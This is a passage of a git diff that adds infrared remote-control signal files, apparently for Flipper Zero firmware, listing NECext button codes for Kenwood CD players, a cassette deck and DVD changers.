NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir new file mode 100644 index 000000000..f7888768a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir @@ -0,0 +1,620 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 10 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: STOP_[]/(CANCEL) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: STOP_[]_(CANCEL) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 11 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: PLAY/PAUSE_>_ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: PLAY/PAUSE_> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: PLAY/PAUSE(ENTER) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: PLAY/PAUSE_>/ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: PLAY/PAUSE_ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 13 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: FAST_REW +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: SCAN_REV_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 14 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: FAST_FWD +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: FFWD_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: SCAN_FWD_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 15 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: SKIP_REV_<< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: <<_SEARCH/SCAN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 16 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: SKIP_FWD_>> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: >>_SEARCH/SCAN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 17 00 00 00 +# +name: TIME_DISPLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: TIME_DISP. +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: TIME_DISP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 18 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 19 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1A 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1B 00 00 00 +# +name: P_MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: P-MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: P.MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: P._MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: PLAY_MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 1F 00 00 00 +# +name: OUTPUT_DOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: OUTPUT_UP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: EDIT +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: EDIT-1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: EDIT_MODE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: DISC_SKIP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: RANDOM_PLAY +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: DISP_P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: DISP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: DISC_P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: 1_DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: DISC_SELECTOR_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: DISC_SLCT_1 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: 2_DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: DISC_SELECTOR_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: DISC_SLCT_2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: 3_DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: DISC_SELECTOR_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: DISC_SLCT_3 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: 4_DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: DISC_SELECTOR_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: DISC_SLCT_4 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: 5_DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: DISC_SELECTOR_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: DISC_SLCT_5 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: 6_DISC_SELECTOR +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 +# +name: PEAK_SEARCH +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: EDIT-2 +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8E 00 00 00 +# +name: PGM_FILE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 91 00 00 00 +# +name: MAG.RECALL +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 92 00 00 00 +# +name: P1_RECALL +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 93 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 94 00 00 00 +# +name: MAG. +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 95 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 96 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 97 00 00 00 +# +name: PEAK +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 98 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: B6 00 00 00 +command: C1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir new file mode 100644 index 000000000..9ea0ad984 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir @@ -0,0 +1,410 @@ +Filetype: IR signals file +Version: 1 +# +name: <_(LEFT) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: SEARCH_< +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 08 00 00 00 +# +name: >_(RIGHT) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: SEARCH_> +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 09 00 00 00 +# +name: V_(DOWN) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: SEARCH_V_(DOWN) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0A 00 00 00 +# +name: ^_(UP) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0B 00 00 00 +# +name: SEARCH_^ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 0B 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 41 00 00 00 +# +name: SEARCH_A +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 41 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 42 00 00 00 +# +name: SEARCH_B +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 42 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 43 00 00 00 +# +name: SEARCH_C +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 43 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 44 00 00 00 +# +name: SEARCH_D +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 44 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 45 00 00 00 +# +name: SEARCH_E +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 45 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 46 00 00 00 +# +name: SEARCH_F +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 46 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 47 00 00 00 +# +name: SEARCH_G +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 47 00 00 00 +# +name: H +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: SEARCH_H +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: SEARCH_I +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: J +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: SEARCH_J +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: K +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4B 00 00 00 +# +name: SEARCH_K +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4B 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4C 00 00 00 +# +name: SEARCH_L +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4C 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4D 00 00 00 +# +name: SEARCH_M +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4D 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4E 00 00 00 +# +name: SEARCH_N +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4E 00 00 00 +# +name: O +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: SEARCH_O +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: SEARCH_P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: Q +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: SEARCH_Q +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: SEARCH_R +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: S +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: SEARCH_S +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: SEARCH_T +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: U +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: SEARCH_U +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 +# +name: SEARCH_V +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 +# +name: W +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 57 00 00 00 +# +name: SEARCH_W +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 57 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 58 00 00 00 +# +name: SEARCH_X +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 58 00 00 00 +# +name: Y +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 59 00 00 00 +# +name: SEARCH_Y +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 59 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5A 00 00 00 +# +name: SEARCH_Z +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5A 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8A 00 00 00 +# +name: SEARCH_* +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8A 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8B 00 00 00 +# +name: SEARCH_+ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8B 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: SEARCH_- +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: / +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8F 00 00 00 +# +name: SEARCH_/ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir new file mode 100644 index 000000000..2ca27909a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir @@ -0,0 +1,32 @@ +Filetype: IR signals file +Version: 1 +# +name: STOP +type: parsed +protocol: NECext +address: B8 00 00 00 +command: C9 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CB 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CE 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: CF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir new file mode 100644 index 000000000..eb1eb4f4f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: PHONO +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 90 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 91 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 92 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 93 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 94 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 95 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 96 00 00 00 +# +name: VOL_CONTROL_V +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9A 00 00 00 +# +name: VOL_CONTROL_^ +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B8 00 00 00 +command: 9D 00 00 00 +# +name: TAPEA_R.PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D0 00 00 00 +# +name: TAPEA_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D1 00 00 00 +# +name: TAPEA_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D2 00 00 00 +# +name: TAPEA_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D3 00 00 00 +# +name: TAPEA_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D5 00 00 00 +# +name: TAPEB_REV_PLAY_< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D8 00 00 00 +# +name: TAPEB_PLAY_> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: D9 00 00 00 +# +name: TAPEB_REW_<< +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DA 00 00 00 +# +name: TAPEB_FF_>> +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DB 00 00 00 +# +name: TAPEB_PAUSE_(ONLY) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DC 00 00 00 +# +name: TAPEB_STOP_[] +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DD 00 00 00 +# +name: TAPEB_REC_(ONLY) +type: parsed +protocol: NECext +address: B8 00 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir new file mode 100644 index 000000000..12270644f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: @ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 40 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 41 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 42 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 43 00 00 00 +# +name: D +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 44 00 00 00 +# +name: E +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 45 00 00 00 +# +name: F +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 46 00 00 00 +# +name: G +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 47 00 00 00 +# +name: H +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 48 00 00 00 +# +name: I +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 49 00 00 00 +# +name: J +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4A 00 00 00 +# +name: K +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4B 00 00 00 +# +name: L +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4C 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4D 00 00 00 +# +name: N +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4E 00 00 00 +# +name: O +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 4F 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 50 00 00 00 +# +name: Q +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 51 00 00 00 +# +name: R +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 52 00 00 00 +# +name: S +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 53 00 00 00 +# +name: T +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 54 00 00 00 +# +name: U +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 55 00 00 00 +# +name: V +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 56 00 00 00 +# +name: W +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 57 00 00 00 +# +name: X +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 58 00 00 00 +# +name: Z +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5A 00 00 00 +# +name: ^ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5E 00 00 00 +# +name: & +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 5F 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 80 00 00 00 +# +name: ! +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 81 00 00 00 +# +name: # +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 83 00 00 00 +# +name: $ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 84 00 00 00 +# +name: ( +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 88 00 00 00 +# +name: ) +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 89 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8A 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8B 00 00 00 +# +name: _ +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 8D 00 00 00 +# +name: : +type: parsed +protocol: NECext +address: B6 00 00 00 +command: 9A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir new file mode 100644 index 000000000..820f84929 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir @@ -0,0 +1,974 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 00 00 00 00 +# +name: 0_/X +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 01 00 00 00 +# +name: 1_/K +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 02 00 00 00 +# +name: 2_/L +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 03 00 00 00 +# +name: 3_/M +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 04 00 00 00 +# +name: 4_/O +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 05 00 00 00 +# +name: 5_/P +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 06 00 00 00 +# +name: 6_/Q +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 07 00 00 00 +# +name: 7_/S +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: 8_/T +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 09 00 00 00 +# +name: 9_/U +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 09 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0A 00 00 00 +# +name: Y_/+10 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0A 00 00 00 +# +name: +100 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0B 00 00 00 +# +name: W_+100 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0B 00 00 00 +# +name: +_100 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0B 00 00 00 +# +name: MAIN_ACTIVE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0C 00 00 00 +# +name: MAIN +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0C 00 00 00 +# +name: SUB1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0D 00 00 00 +# +name: SUB_1 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0D 00 00 00 +# +name: SUB2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0E 00 00 00 +# +name: SUB_2 +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 0E 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 11 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 12 00 00 00 +# +name: PAUSE/SPACE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 12 00 00 00 +# +name: SPACE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 12 00 00 00 +# +name: >PLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 13 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 13 00 00 00 +# +name: PLAY/PAUSE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 13 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# +name: REW/DELETE +type: parsed +protocol: NECext +address: B6 0C 00 00 +command: 14 00 00 00 +# 